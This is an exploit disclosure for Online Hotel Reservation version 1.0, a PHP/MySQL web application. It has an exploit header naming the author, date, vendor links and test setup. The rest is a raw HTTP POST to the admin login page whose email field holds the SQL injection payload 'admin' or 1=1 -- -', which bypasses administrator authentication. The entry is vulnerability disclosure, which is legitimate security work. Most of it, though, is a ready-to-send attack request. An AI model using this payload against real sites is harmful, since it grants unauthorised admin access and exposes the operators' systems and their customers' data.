Online Hotel Reservation version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
3b3b96192c21768363de2b321dc24414# Exploit Title: Online Hotel Reservation 1.0 - Admin Authentication Bypass
# Exploit Author: Richard Jones
# Note: Shout out to boku (Bobby Cooke) for helping me get started on 0day's!!
# Date: 2021-01-13
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34
#Exploit URL: http://TARGET/marimar/admin/index.php
Host: TARGET
POST /marimar/admin/login.php HTTP/1.1
Content-Length: 57
Connection: close
Cookie: PHPSESSID=82sevuai2qhh9h8b5jbucn0616
email=admin%27+or+1%3D1+--+-ac1d&pass=asdasdasd&btnlogin=